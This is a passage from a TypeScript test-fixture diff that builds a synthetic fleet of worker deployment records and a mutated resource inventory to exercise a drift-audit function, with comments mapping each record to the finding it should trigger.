+const AUDIT_STALE_AFTER_MS = 3_600_000;
+
+const FRESH_UPDATED_AT = new Date(AUDIT_NOW - 30 * 60_000).toISOString();
+const STALE_UPDATED_AT = new Date(
+  AUDIT_NOW - 10 * AUDIT_STALE_AFTER_MS,
+).toISOString();
+
+const HEALTHY_MAINTENANCE: MaintenanceHealth = {
+  armed: true,
+  nextAlarmAt: AUDIT_NOW + 60_000,
+  lastSweepAt: AUDIT_NOW - 60_000,
+  lastPurgeAt: AUDIT_NOW - 60_000,
+};
+
+const UNARMED_MAINTENANCE: MaintenanceHealth = {
+  armed: false,
+  nextAlarmAt: null,
+  lastSweepAt: null,
+  lastPurgeAt: null,
+};
+
+function baseRecord(
+  tenantTag: string,
+  overrides: Partial<FleetRecord> = {},
+): FleetRecord {
+  return {
+    tenantTag,
+    backend: 'plain-worker',
+    environment: ENVIRONMENT,
+    scriptName: `${tenantTag}-worker`,
+    databaseId: `db-${tenantTag}`,
+    databaseName: `database-${tenantTag}`,
+    schemaVersion: 1,
+    artifactVersion: 'v1',
+    desiredSpecDigest: SPEC_DIGEST,
+    durableObjectBindings: [
+      { name: 'RUNNER', className: 'Runner', namespaceId: `ns-${tenantTag}` },
+    ],
+    routeHostname: `${tenantTag}.example.test`,
+    phase: 'ready',
+    updatedAt: FRESH_UPDATED_AT,
+    ...overrides,
+  };
+}
+
+function specForRecord(
+  record: FleetRecord,
+  overrides: Partial<DeploymentSpec> = {},
+): DeploymentSpec {
+  return {
+    tenantTag: record.tenantTag,
+    environment: record.environment,
+    scriptName: record.scriptName,
+    databaseName: record.databaseName,
+    compatibilityDate: '2026-05-01',
+    mainModule: 'worker.js',
+    modules: [{ name: 'worker.js', content: 'export default {}' }],
+    authoredBy: 'external',
+    schemaVersion: record.schemaVersion,
+    migrations: [],
+    durableObjectMigrations: [],
+    durableObjectBindings: [],
+    maintenanceBaseUrl: `https://control-${record.scriptName}.example.test`,
+    routeHostname: record.routeHostname,
+    ...overrides,
+  };
+}
+
+/** A live inspection result that matches `record` exactly (no drift). */
+function cleanLiveDeployment(
+  record: FleetRecord,
+  overrides: Partial<LiveDeployment> = {},
+): LiveDeployment {
+  const base = {
+    tenantTag: record.tenantTag,
+    environment: record.environment,
+    scriptName: record.scriptName,
+    databaseId: record.databaseId,
+    durableObjectBindings: record.durableObjectBindings,
+    plainTextBindings: {},
+    secretNames: [] as readonly string[],
+    artifactVersion: record.artifactVersion,
+    desiredSpecDigest: record.desiredSpecDigest,
+    schemaVersion: record.schemaVersion,
+    maintenance: HEALTHY_MAINTENANCE,
+    ...overrides,
+  };
+  return {
+    ...base,
+    providerBindingIdentities: providerBindingIdentitiesForInspection({
+      ...base,
+      databaseIds: [base.databaseId],
+    }),
+  };
+}
+
+/** A live inventory deployment entry that matches `record` exactly. */
+function cleanInventoryDeployment(
+  record: FleetRecord,
+  overrides: Partial<FleetInventoryDeployment> = {},
+): FleetInventoryDeployment {
+  return {
+    backend: record.backend,
+    scriptName: record.scriptName,
+    tenantTag: record.tenantTag,
+    environment: record.environment,
+    databaseIds: [record.databaseId],
+    durableObjectBindings: record.durableObjectBindings,
+    secretNames: [],
+    plainTextBindings: {},
+    routeHostnames: [record.routeHostname],
+    artifactVersion: record.artifactVersion,
+    desiredSpecDigest: record.desiredSpecDigest,
+    schemaVersion: record.schemaVersion,
+    ...overrides,
+  };
+}
+
+function cleanRoute(
+  record: FleetRecord,
+  overrides: Partial<FleetResourceInventory['routes'][number]> = {},
+): FleetResourceInventory['routes'][number] {
+  return {
+    backend: record.backend,
+    hostname: record.routeHostname,
+    scriptName: record.scriptName,
+    tenantTag: record.tenantTag,
+    environment: record.environment,
+    ...overrides,
+  };
+}
+
+/** A live inventory deployment entry: empty bindings and routes unless the caller supplies them. */
+function bareDeployment(
+  fields: Pick<
+    FleetInventoryDeployment,
+    'scriptName' | 'tenantTag' | 'artifactVersion'
+  > &
+    Partial<FleetInventoryDeployment>,
+): FleetInventoryDeployment {
+  return {
+    backend: 'plain-worker',
+    environment: ENVIRONMENT,
+    databaseIds: [],
+    durableObjectBindings: [],
+    secretNames: [],
+    plainTextBindings: {},
+    routeHostnames: [],
+    schemaVersion: 1,
+    ...fields,
+  };
+}
+
+// ---------------------------------------------------------------------------
+// Records. Every record but `control` cites the fleet.ts lines its story targets.
+// ---------------------------------------------------------------------------
+
+/** A fully healthy deployment: proves the audit does not false-positive. */
+const control = baseRecord('control');
+
+/**
+ * Two live `inventory.deployments` entries answer this record's one expected
+ * script key -> fleet.ts:680 `duplicate-deployment` ("appears N times").
+ */
+const liveDup = baseRecord('livedup');
+
+/**
+ * Two records share `scriptName` ("shared-record-script"), so both fall
+ * under one `recordsByScript` key with two members -> fleet.ts:871
+ * `duplicate-deployment` ("is registered N times"), for BOTH records. `b` is
+ * phase `worker-deployed` (not `ready`) so it exits at the fleet.ts:965 gate
+ * before any of the ready-only per-record checks can also fire.
+ */
+const recordDupA = baseRecord('recdupa', {
+  scriptName: 'shared-record-script',
+});
+const recordDupB = baseRecord('recdupb', {
+  scriptName: 'shared-record-script',
+  phase: 'worker-deployed',
+});
+
+/**
+ * Two records both declare `durableObjectBindings` under the SAME namespace
+ * id -> fleet.ts:766 `duplicate-namespace` (expected side), for the second
+ * one processed.
+ */
+const SHARED_EXPECTED_NAMESPACE = 'ns-shared-expected';
+const namespaceDupA = baseRecord('dupexpnsa', {
+  durableObjectBindings: [
+    {
+      name: 'RUNNER',
+      className: 'Runner',
+      namespaceId: SHARED_EXPECTED_NAMESPACE,
+    },
+  ],
+});
+const namespaceDupB = baseRecord('dupexpnsb', {
+  durableObjectBindings: [
+    {
+      name: 'RUNNER',
+      className: 'Runner',
+      namespaceId: SHARED_EXPECTED_NAMESPACE,
+    },
+  ],
+});
+
+/**
+ * Expects a namespace id absent from `inventory.namespaceIds` -> fleet.ts:776
+ * `missing-namespace`.
+ */
+const MISSING_EXPECTED_NAMESPACE = 'ns-missing-expected';
+const missingNamespace = baseRecord('missingns', {
+  durableObjectBindings: [
+    {
+      name: 'RUNNER',
+      className: 'Runner',
+      namespaceId: MISSING_EXPECTED_NAMESPACE,
+    },
+  ],
+});
+
+/**
+ * Two records both claim the same R2 bucket -> fleet.ts:811 `r2-bucket-drift`
+ * ("claimed by more than one deployment"), for the second one processed.
+ */
+const SHARED_BUCKET_CREATION_DATE = '2026-01-01T00:00:00.000Z';
+const bucketDupA = baseRecord('r2dupa', {
+  applicationResources: [
+    {
+      name: 'EXPORTS',
+      bucketName: 'shared-bucket',
+      jurisdiction: 'default',
+      state: 'created',
+      reservationNonce: 'nonce-r2dupa',
+      creationDate: SHARED_BUCKET_CREATION_DATE,
+    },
+  ],
+});
+const bucketDupB = baseRecord('r2dupb', {
+  applicationResources: [
+    {
+      name: 'EXPORTS',
+      bucketName: 'shared-bucket',
+      jurisdiction: 'default',
+      state: 'created',
+      reservationNonce: 'nonce-r2dupb',
+      creationDate: SHARED_BUCKET_CREATION_DATE,
+    },
+  ],
+});
+
+/** Claims a bucket absent from `inventory.r2Buckets` -> fleet.ts:844 `missing-r2-bucket`. */
+const bucketMissing = baseRecord('r2missing', {
+  applicationResources: [
+    {
+      name: 'EXPORTS',
+      bucketName: 'bucket-missing',
+      jurisdiction: 'default',
+      state: 'created',
+      reservationNonce: 'nonce-r2missing',
+      creationDate: '2026-01-01T00:00:00.000Z',
+    },
+  ],
+});
+
+/**
+ * Claims a bucket present in `inventory.r2Buckets` under a different
+ * jurisdiction and creation date -> fleet.ts:854 `r2-bucket-drift` ("changed
+ * its persisted creation identity").
+ */
+const bucketDrift = baseRecord('r2drift', {
+  applicationResources: [
+    {
+      name: 'EXPORTS',
+      bucketName: 'bucket-drift',
+      jurisdiction: 'default',
+      state: 'created',
+      reservationNonce: 'nonce-r2drift',
+      creationDate: '2026-02-01T00:00:00.000Z',
+    },
+  ],
+});
+
+/** No live deployment at all answers this record's expected key -> fleet.ts:672 `missing-deployment`. */
+const missingDeploy = baseRecord('missingdeploy');
+
+/** The live inventory deployment's `databaseIds` mismatch -> fleet.ts:974 `database-mismatch`. */
+const dbMismatch = baseRecord('dbmismatch');
+
+/** The live inventory deployment's Durable Object bindings mismatch -> fleet.ts:1012 `binding-drift`. */
+const bindingMismatch = baseRecord('bindingmismatch');
+
+/**
+ * No live deployment route and no matching `inventory.routes` entry ->
+ * fleet.ts:996 `route-drift` ("does not contain exactly route") AND
+ * fleet.ts:1036 `route-drift` ("is missing or mismatched").
+ */
+const routeBroken = baseRecord('routebroken');
+
+/** Two `inventory.routes` entries share this record's hostname -> fleet.ts:1021 `duplicate-route`. */
+const routeDup = baseRecord('routedup');
+
+/**
+ * Declares `platformResources.stateWorker` AND `platformResources.egressProxy`.
+ * Each declared worker's one matching live deployment entry carries the
+ * wrong ownership metadata (no `resourceRole`, wrong `resourceGroupId`) ->
+ * fleet.ts:1146 `version-drift` ("has drifted ownership or artifact
+ * metadata"), fired ONCE PER WORKER (two `version-drift` findings). The
+ * state worker's live entry ALSO carries the wrong database/binding count
+ * -> fleet.ts:1224 `binding-drift` ("trusted state Worker ... has drifted
+ * database, Durable Object, or egress bindings"). The egress worker's live
+ * entry has no `plainTextBindings` at all, and since
+ * `options.inventory.hostRoutingKvId` is never set in this world,
+ * fleet.ts:1245's `!options.inventory.hostRoutingKvId` disjunct alone
+ * guarantees fleet.ts:1256 `binding-drift` ("trusted egress Worker ... has
+ * drifted policy or attribution bindings") ADDITIONALLY. The record's OWN
+ * worker inspects clean; only the declared `platformResources.stateWorker`
+ * and `platformResources.egressProxy` (separate live deployment entries in
+ * `inventory.deployments`) carry the drift.
+ *
+ * This record ALSO carries the world's only multi-namespace-id story: a second
+ * `durableObjectBindings` entry reuses `SHARED_EXPECTED_NAMESPACE` (already
+ * claimed by `namespaceDupA`/`namespaceDupB` above), so this record's OWN pass
+ * through the fleet.ts:762 inner loop
+ * lands the namespace's THIRD claimant, landing the world's second
+ * `duplicate-namespace` finding; a populated
+ * `platformResources.stateWorker.namespaceIds` adds a namespace id present
+ * nowhere in the inventory, landing a `missing-namespace` finding in the
+ * same inner loop. The two land on different fleet.ts:762 arms within one
+ * record's iteration, proving the loop actually iterates more than once.
+ */
+const PLATFORM_STATE_SCRIPT_NAME = 'platform-drift-state-worker';
+const PLATFORM_EGRESS_SCRIPT_NAME = 'platform-drift-egress-worker';
+const PLATFORM_STATE_MISSING_NAMESPACE = 'ns-platformdrift-missing';
+const platformDrift = baseRecord('platformdrift', {
+  durableObjectBindings: [
+    { name: 'RUNNER', className: 'Runner', namespaceId: 'ns-platformdrift' },
+    {
+      name: 'STATE_MIRROR',
+      className: 'Runner',
+      namespaceId: SHARED_EXPECTED_NAMESPACE,
+    },
+  ],
+  platformResources: {
+    maintenanceCapabilityPublicKey: 'maintenance-capability-public-key-fixture',
+    stateWorker: {
+      scriptName: PLATFORM_STATE_SCRIPT_NAME,
+      artifactVersion: 'state-v1',
+      artifactDigest: 'b'.repeat(64),
+      durableObjectBindings: [],
+      namespaceIds: [PLATFORM_STATE_MISSING_NAMESPACE],
+    },
+    egressProxy: {
+      scriptName: PLATFORM_EGRESS_SCRIPT_NAME,
+      artifactVersion: 'egress-v1',
+      artifactDigest: 'c'.repeat(64),
+      policyId: 'policy-platformdrift',
+      policyHosts: ['api.example.test'],
+      policyDigest: 'd'.repeat(64),
+    },
+  },
+});
+
+/**
+ * `spec.authoredBy` is `platform` with an `egressProxyService` declared, so
+ * fleet.ts:1071-1073 expects one `EGRESS_PROXY` service binding on the live
+ * deployment; the clean inventory entry never sets `serviceBindings`
+ * (defaults to none) -> fleet.ts:1091 `binding-drift` ("drifted trusted
+ * channel bindings").
+ */
+const CHANNEL_EGRESS_SERVICE_NAME = 'channel-egress-worker';
+const channelDrift = baseRecord('channeldrift');
+
+/** `backend.inspect()` returns `undefined` -> fleet.ts:1282 `missing-deployment` ("script is absent"). */
+const inspectAbsent = baseRecord('inspectabsent');
+
+/**
+ * Unarmed live maintenance drives the full re-arm sequence to a successful
+ * commit -> fleet.ts:1353 `maintenance-stale`, and the op log's
+ * `withDeploymentLease`/`get`/`put`/`assertOwned:<key>`/`ensureMaintenance`
+ * sequence (fleet.ts:1360-1391). No prior `invocationAuthority`, so
+ * `commitInvocationAuthority` performs the `put`.
+ */
+const maintStale = baseRecord('maintstale');
+
+/**
+ * Unarmed live maintenance triggers the same re-arm sequence, but
+ * `backend.ensureMaintenance()` throws -> fleet.ts:1353 `maintenance-stale`
+ * THEN fleet.ts:1393 `audit-error` ("maintenance re-arm failed:").
+ */
+const rearmFail = baseRecord('rearmfail');
+
+/**
+ * Phase is not `ready` and `updatedAt` is stale -> fleet.ts:887
+ * `incomplete-provisioning`. Not a `CLEANLY_INVENTORIED_RECORDS` member, so
+ * its own script and expected namespace are absent from inventory too ->
+ * fleet.ts:672 `missing-deployment` and fleet.ts:776 `missing-namespace`
+ * also fire, as accepted collateral of that omission (this record's story
+ * is incomplete-provisioning, not inventory cleanliness).
+ */
+const staleNotReady = baseRecord('stalenotready', {
+  phase: 'worker-deployed',
+  updatedAt: STALE_UPDATED_AT,
+});
+
+/**
+ * A workers-for-platforms record whose `pendingRelease` AND `activeRelease`
+ * live entries BOTH mismatch their persisted identity — the pending live
+ * entry sets no `desiredSpecDigest` at all; the active live entry mismatches
+ * `artifactVersion` — so fleet.ts:909 `version-drift` fires TWICE, once per
+ * release. Its `pendingRelease` carries no `topology` -> fleet.ts:928
+ * `audit-error` ("has no durable binding topology"), fired ONCE (pending
+ * only; `activeRelease` has a topology, so it falls to the fleet.ts:934
+ * comparison instead). The active release's live entry ALSO mismatches
+ * `databaseIds` -> fleet.ts:920 `database-mismatch`, and mismatches Durable
+ * Object topology -> fleet.ts:957 `binding-drift` (both fired ONCE, active
+ * only — the pending release's own `databaseIds` matches, and its missing
+ * topology short-circuits it out of the fleet.ts:934 comparison). Phase
+ * `worker-deployed` keeps this record out of the ready-only per-record
+ * checks (fleet.ts:965 gate).
+ */
+const WFP_ACTIVE_PHYSICAL_NAME = 'wfp-release-active';
+const WFP_PENDING_PHYSICAL_NAME = 'wfp-release-pending';
+const wfpRelease = baseRecord('wfprelease', {
+  backend: 'workers-for-platforms',
+  scriptName: 'wfp-release-worker',
+  phase: 'worker-deployed',
+  durableObjectBindings: [],
+  activeRelease: {
+    physicalScriptName: WFP_ACTIVE_PHYSICAL_NAME,
+    specDigest: SPEC_DIGEST,
+    artifactVersion: 'release-v1',
+    releaseSchemaVersion: 1,
+    topology: {
+      durableObjectBindings: [
+        {
+          name: 'RUNNER',
+          className: 'Runner',
+          namespaceId: 'ns-wfp-active-expected',
+        },
+      ],
+      serviceBindings: [],
+      queueProducerBindings: [],
+      secretNames: [],
+    },
+  },
+  pendingRelease: {
+    physicalScriptName: WFP_PENDING_PHYSICAL_NAME,
+    specDigest: SPEC_DIGEST,
+    artifactVersion: 'release-v2-pending',
+    releaseSchemaVersion: 1,
+    // No `topology`: fleet.ts:927-933's `!release.topology` arm.
+  },
+});
+
+const AUDIT_WORLD_RECORDS: readonly FleetRecord[] = [
+  control,
+  liveDup,
+  recordDupA,
+  recordDupB,
+  namespaceDupA,
+  namespaceDupB,
+  missingNamespace,
+  bucketDupA,
+  bucketDupB,
+  bucketMissing,
+  bucketDrift,
+  missingDeploy,
+  dbMismatch,
+  bindingMismatch,
+  routeBroken,
+  routeDup,
+  platformDrift,
+  channelDrift,
+  inspectAbsent,
+  maintStale,
+  rearmFail,
+  staleNotReady,
+  wfpRelease,
+];
+
+// ---------------------------------------------------------------------------
+// Inventory: derived cleanly from the records above, then mutated per story.
+// ---------------------------------------------------------------------------
+
+/**
+ * Records whose own worker/database/route inventory entries stay clean
+ * (matching exactly), so their ONLY drift comes from the deliberate mutation
+ * their story adds elsewhere (an extra live entry, a missing entry, an R2
+ * fixture, or a `platformResources` mismatch). This list ALSO governs the
+ * namespace axis below: a member's own `durableObjectBindings` namespace ids
+ * are folded into `fleetAuditWorldInventory()`'s `namespaceIds` (via the
+ * flatMap in `fleetAuditWorldInventory`, minus `missingNamespace` — see its
+ * exclusion there), so only a member's expected namespace stays "clean";
+ * two further ids are whitelisted explicitly below.
+ *
+ * The seven non-members (`recordDupB`, `missingDeploy`, `dbMismatch`,
+ * `bindingMismatch`, `routeBroken`, `staleNotReady`, `wfpRelease`) each
+ * leak collateral on the axis their story doesn't isolate. Six of them
+ * (all but `wfpRelease`, whose one expected namespace id is explicitly
+ * whitelisted below) ALSO leak a `missing-namespace` finding for their own
+ * expected namespace id. That collateral is accepted, not isolated: unlike
+ * the database/route axis, where `dbMismatch`/`bindingMismatch`/
+ * `routeBroken` each get an explicit `databaseIds.push`/`routes.push` below
+ * to neutralize the OTHER axes for their specific story, no equivalent
+ * per-record `namespaceIds.push` exists to neutralize this one.
+ */
+const CLEANLY_INVENTORIED_RECORDS: readonly FleetRecord[] = [
+  control,
+  liveDup,
+  recordDupA,
+  namespaceDupA,
+  namespaceDupB,
+  missingNamespace,
+  bucketDupA,
+  bucketDupB,
+  bucketMissing,
+  bucketDrift,
+  routeDup,
+  platformDrift,
+  channelDrift,
+  inspectAbsent,
+  maintStale,
+  rearmFail,
+];
+
+function fleetAuditWorldInventory(): FleetResourceInventory {
+  // `scriptRegistrations` models a workers-for-platforms dispatch
+  // registration: fleet.ts:618-634's orphan check always keys it as
+  // `workers-for-platforms:<scriptName>`, regardless of a registration's own
+  // fields, so a plain-worker record must never get one — only `wfpRelease`
+  // (backend `workers-for-platforms`) and the deliberate fleet.ts:629 ghost
+  // below need entries here.
+  const scriptRegistrations: FleetResourceInventory['scriptRegistrations'][number][] =
+    [];
+  const deployments = CLEANLY_INVENTORIED_RECORDS.map((record) =>
+    cleanInventoryDeployment(record),
+  );
+  const databaseIds = CLEANLY_INVENTORIED_RECORDS.map(
+    (record) => record.databaseId,
+  );
+  const namespaceIds = [
+    ...new Set([
+      // `missingNamespace` is excluded here (but stays a CLEANLY_INVENTORIED_RECORDS
+      // member for deployments/databaseIds/routes): its whole story is that
+      // `MISSING_EXPECTED_NAMESPACE` is absent from fleet inventory
+      // (fleet.ts:776), so folding its own expected namespace id into this
+      // derivation — the opposite of its design — would silently launder it
+      // into "present" and defeat the story.
+      ...CLEANLY_INVENTORIED_RECORDS.filter(
+        (record) => record !== missingNamespace,
+      ).flatMap((record) =>
+        record.durableObjectBindings.map((binding) => binding.namespaceId),
+      ),
+      SHARED_EXPECTED_NAMESPACE,
+      'ns-wfp-active-expected',
+    ]),
+  ];
+  const routes = CLEANLY_INVENTORIED_RECORDS.map((record) =>
+    cleanRoute(record),
+  );
+
+  // fleet.ts:629 — a registered script with no live fleet owner at all.
+  scriptRegistrations.push({
+    scriptName: 'ghost-registered-script',
+    tenantTag: 'ghost-registration',
+    environment: ENVIRONMENT,
+    databaseId: 'db-ghost-registration',
+    routeHostname: 'ghost-registration.example.test',
+  });
+
+  // fleet.ts:647 — an unregistered live script with no owning record.
+  deployments.push(
+    bareDeployment({
+      scriptName: 'ghost-live-script',
+      tenantTag: 'ghost-live',
+      databaseIds: ['db-ghost-live'],
+      routeHostnames: ['ghost-live.example.test'],
+      artifactVersion: 'v1',
+    }),
+  );
+
+  // fleet.ts:680 — a second live entry answering `liveDup`'s expected key.
+  // `routeHostnames: []` keeps this second entry from ALSO satisfying
+  // fleet.ts:981-989's per-record route-ownership count, which only wants
+  // exactly one owning live entry; two identical route claims would trip
+  // fleet.ts:996 too.
+  deployments.push(
+    cleanInventoryDeployment(liveDup, {
+      tenantTag: 'livedup-ghost-owner',
+      routeHostnames: [],
+    }),
+  );
+
+  // fleet.ts:871 — the second `recordDupB` claimant of `shared-record-script`
+  // is deliberately NOT added here: `recordDupA`'s clean entry is the only live
+  // deployment under that script name, which is what makes `recordDupB`'s own
+  // `recordsByScript` lookup see two RECORDS behind one live entry.
+
+  // fleet.ts:697 — an unregistered database id.
+  databaseIds.push('db-orphan-ghost');
+
+  // fleet.ts:731 — a route with no owning record.
+  routes.push({
+    backend: 'plain-worker',
+    hostname: 'orphan-route.example.test',
+    scriptName: 'nonexistent-script',
+    tenantTag: 'orphan-route-owner',
+    environment: ENVIRONMENT,
+  });
+
+  // fleet.ts:753 — an unregistered namespace id.
+  namespaceIds.push('ns-orphan-ghost');
+
+  // fleet.ts:1021 — a second route sharing `routeDup`'s hostname.
+  routes.push(cleanRoute(routeDup, { scriptName: 'route-dup-ghost-script' }));
+
+  const r2Buckets: NonNullable<FleetResourceInventory['r2Buckets']> = [
+    // fleet.ts:811's second claimant (`bucketDupB`) is deliberately NOT added
+    // as its own live bucket: the single `shared-bucket` entry below is
+    // what both records compete over.
+    {
+      bucketName: 'shared-bucket',
+      jurisdiction: 'default',
+      creationDate: SHARED_BUCKET_CREATION_DATE,
+    },
+    // fleet.ts:854 — present, but under a different jurisdiction/creation
+    // date than `bucketDrift`'s persisted claim.
+    {
+      bucketName: 'bucket-drift',
+      jurisdiction: 'eu',
+      creationDate: '2026-03-01T00:00:00.000Z',
+    },
+    // fleet.ts:833 — an unclaimed live bucket.
+    {
+      bucketName: 'bucket-orphan-ghost',
+      jurisdiction: 'default',
+      creationDate: '2026-01-01T00:00:00.000Z',
+    },
+  ];
+
+  // fleet.ts:974 — the live deployment's databaseIds mismatch the record.
+  // `dbMismatch.databaseId` itself is added to the top-level `databaseIds`
+  // list so fleet.ts:970-972's THIRD conjunct
+  // (`!options.inventory.databaseIds.includes(record.databaseId)`) does not
+  // ALSO fire on its own, and a clean route entry keeps fleet.ts:996/:1036
+  // from firing alongside the deliberate database mismatch.
+  databaseIds.push(dbMismatch.databaseId);
+  deployments.push(
+    cleanInventoryDeployment(dbMismatch, {
+      databaseIds: ['db-dbmismatch-wrong'],
+    }),
+  );
+  routes.push(cleanRoute(dbMismatch));
+
+  // fleet.ts:1012 — the live deployment's Durable Object bindings mismatch.
+  // Same THIRD-conjunct and route-cleanliness reasoning as `dbMismatch`.
+  databaseIds.push(bindingMismatch.databaseId);
+  deployments.push(
+    cleanInventoryDeployment(bindingMismatch, {
+      durableObjectBindings: [
+        {
+          name: 'RUNNER',
+          className: 'Runner',
+          namespaceId: 'ns-bindingmismatch-wrong',
+        },
+      ],
+    }),
+  );
+  // Unlike the two pushes above, this one ADDS orphan-namespace collateral
+  // (`findings[10]`) rather than suppressing another axis: `ns-bindingmismatch-wrong`
+  // is nobody's expected namespace, so it lands its own finding instead of
+  // neutralizing one for `bindingMismatch`.
+  namespaceIds.push('ns-bindingmismatch-wrong');
+  routes.push(cleanRoute(bindingMismatch));
+
+  // fleet.ts:996/:1036 — `routeBroken` gets a live deployment (so its
+  // registry/provider-inventory presence checks pass cleanly) but NO
+  // route in either `routeHostnames` or `inventory.routes`. Its own
+  // `databaseId` is still added to the top-level list so fleet.ts:970-972's
+  // database check does not ALSO fire alongside the deliberate route drift.
+  databaseIds.push(routeBroken.databaseId);
+  deployments.push(
+    cleanInventoryDeployment(routeBroken, { routeHostnames: [] }),
+  );
+
+  // fleet.ts:1146/:1224 — the one live deployment behind `platformDrift`'s
+  // declared `stateWorker`, with wrong ownership metadata (no
+  // `resourceRole`, wrong `resourceGroupId`/`artifactVersion`) and an empty
+  // `databaseIds` (fleet.ts:1168 expects exactly one matching entry).
+  deployments.push(
+    bareDeployment({
+      scriptName: PLATFORM_STATE_SCRIPT_NAME,
+      tenantTag: platformDrift.tenantTag,
+      resourceGroupId: 'wrong-resource-group',
+      artifactVersion: 'state-v0-wrong',
+    }),
+  );
+  // No `scriptRegistrations` entry for the state-worker key: it is
+  // `plain-worker`-backed, so fleet.ts:659-666's `registered` check is
+  // unconditionally true for it regardless (`expected.backend !==
+  // 'workers-for-platforms'`), and — as fleet.ts:629's ghost registration
+  // above demonstrates — ANY `scriptRegistrations` entry is read as a
+  // workers-for-platforms dispatch registration by fleet.ts:618-634's own
+  // orphan check, so adding one here would wrongly orphan this script.
+
+  // fleet.ts:1256 — the one live deployment behind `platformDrift`'s
+  // declared `egressProxy`. `options.inventory.hostRoutingKvId` is never
+  // set in this world, so fleet.ts:1245's `!options.inventory.hostRoutingKvId`
+  // disjunct alone guarantees the drift regardless of every other field.
+  deployments.push(
+    bareDeployment({
+      scriptName: PLATFORM_EGRESS_SCRIPT_NAME,
+      tenantTag: platformDrift.tenantTag,
+      resourceGroupId: 'wrong-resource-group',
+      artifactVersion: 'egress-v0-wrong',
+    }),
+  );
+
+  // fleet.ts:1091 — `channelDrift` is already in `CLEANLY_INVENTORIED_RECORDS`,
+  // which gives it its ONE clean live deployment entry (`serviceBindings`
+  // deliberately left unset there — it is what fleet.ts:1085-1090 compares
+  // against the channel service its `platform`-authored spec expects); no
+  // second entry is added here.
+
+  // fleet.ts:909/:920/:928/:957 — the WfP release-snapshot story. Both
+  // physical release script names get exactly one live deployment and one
+  // registration (so the pre-per-record loop sees them as present and
+  // registered, never orphaned or duplicated); the active release's live
+  // entry deliberately mismatches artifact version, database id, and
+  // Durable Object topology against `wfpRelease.activeRelease`.
+  scriptRegistrations.push(
+    {
+      scriptName: WFP_ACTIVE_PHYSICAL_NAME,
+      tenantTag: wfpRelease.tenantTag,
+      environment: ENVIRONMENT,
+      databaseId: wfpRelease.databaseId,
+      routeHostname: wfpRelease.routeHostname,
+    },
+    {
+      scriptName: WFP_PENDING_PHYSICAL_NAME,
+      tenantTag: wfpRelease.tenantTag,
+      environment: ENVIRONMENT,
+      databaseId: wfpRelease.databaseId,
+      routeHostname: wfpRelease.routeHostname,
+    },
+  );
+  deployments.push(
+    bareDeployment({
+      backend: 'workers-for-platforms',
+      scriptName: WFP_ACTIVE_PHYSICAL_NAME,
+      tenantTag: wfpRelease.tenantTag,
+      databaseIds: ['db-wfp-active-wrong'],
+      durableObjectBindings: [
+        {
+          name: 'RUNNER',
+          className: 'Runner',
+          namespaceId: 'ns-wfp-active-live-wrong',
+        },
+      ],
+      artifactVersion: 'release-v1-wrong-live',
+    }),
+    bareDeployment({
+      backend: 'workers-for-platforms',
+      scriptName: WFP_PENDING_PHYSICAL_NAME,
+      tenantTag: wfpRelease.tenantTag,
+      databaseIds: [wfpRelease.databaseId],
+      artifactVersion: 'release-v2-pending',
+    }),
+  );
+
+  return {
+    // fleet.ts:574 — the seed: every provider-supplied finding is copied
+    // verbatim into the result, ahead of anything the audit itself adds.
+    findings: [
+      {
+        tenantTag: 'seed-provider',
+        environment: ENVIRONMENT,
+        kind: 'stale-route',
+        detail: 'seeded provider finding carried through the golden baseline',
+      },
+    ],
+    unavailableR2Jurisdictions: Object.freeze([]),
+    scriptRegistrations,
+    deployments,
+    databaseIds,
+    namespaceIds,
+    r2Buckets,
+    routes,
+  };
+}
+
+// ---------------------------------------------------------------------------
+// Recording collaborators: store, backend, and resolver wrappers.
+// ---------------------------------------------------------------------------
+
+/**
+ * The frozen vocabulary of collaborator interactions this world's op log can
+ * record. `list`/`renew`/`delete` are defensive: the recording `store` and
+ * `lease` still push them if called, but the pre-decomposition
+ * `auditFleetDrift` never calls `store.list()`, `lease.renew()`, or
+ * `lease.delete()`, so they never appear in the recorded baseline.
+ */
+export type AuditOpLogEntry =
+  | 'withDeploymentLease'
+  | 'get'
+  | 'put'
+  | 'inspect'
+  | 'ensureMaintenance'
+  | 'list'
+  | 'renew'
+  | 'delete'
+  | `resolver:${string}`
+  | `assertOwned:${string}`;
+
+class RecordingFleetStore implements FleetStateStore {
+  private readonly records = new Map<string, FleetRecord>();
+
+  constructor(
+    records: readonly FleetRecord[],
+    private readonly ops: AuditOpLogEntry[],
+    private readonly fenceViolations: string[],
+  ) {
+    for (const record of records) {
+      this.records.set(`${record.tenantTag}:${record.environment}`, record);
+    }
+  }
+
+  async withDeploymentLease<T>(
+    tenantTag: string,
+    environment: string,
+    operation: (lease: FleetStateLease) => Promise<T>,
+  ): Promise<T> {
+    this.ops.push('withDeploymentLease');
+    const key = `${tenantTag}:${environment}`;
+    return operation({
+      tenantTag,
+      environment,
+      mutationLeaseTtlMs: 900_000,
+      assertOwned: async () => {
+        this.ops.push(`assertOwned:${key}`);
+      },
+      renew: async () => {
+        this.ops.push('renew');
+      },
+      put: async (record) => {
+        // Pins the authority clock wiring: `commitInvocationAuthority`
+        // must stamp `updatedAt` from the audited authority clock
+        // (`options.now`), not a bare `Date.now()`. The audit re-wired to
+        // the latter must fail loudly, not pass silently through to a
+        // baseline that would then encode the wrong clock as "correct". The
+        // throw below surfaces as an `audit-error` finding inside
+        // `auditFleetDrift` (fleet.ts:1392-1399 swallows it — fail-soft by
+        // design), same as the credential-delivery pins in
+        // `RecordingBackend.ensureMaintenance`/`inspect` below, which record
+        // into `fenceViolations` too; `runFleetAuditBaseline`'s post-run
+        // throw — a fresh Error aggregating the recorded fence-violation
+        // messages — is what makes the recorder and golden test fail loudly
+        // instead.
+        if (record.updatedAt !== new Date(AUDIT_NOW).toISOString()) {
+          const message = `re-arm put payload updatedAt '${record.updatedAt}' does not match the authority clock`;
+          this.fenceViolations.push(message);
+          throw new Error(message);
+        }
+        this.ops.push('put');
+        this.records.set(key, record);
+      },
+      delete: async () => {
+        this.ops.push('delete');
+        this.records.delete(key);
+      },
+      completeCleanup: async (): Promise<CleanupTerminalReceipt> => {
+        throw new Error('unused');
+      },
+      deleteReleasingClaims: async (): Promise<void> => {
+        throw new Error('unused');
+      },
+    });
+  }
+
+  async get(
+    tenantTag: string,
+    environment: string,
+  ): Promise<FleetRecord | undefined> {
+    this.ops.push('get');
+    return this.records.get(`${tenantTag}:${environment}`);
+  }
+
+  async list(): Promise<readonly FleetRecord[]> {
+    this.ops.push('list');
+    return [...this.records.values()];
+  }
+
+  async readCleanupReceipt(): Promise<CleanupTerminalReceipt | undefined> {
+    throw new Error('unused');
+  }
+
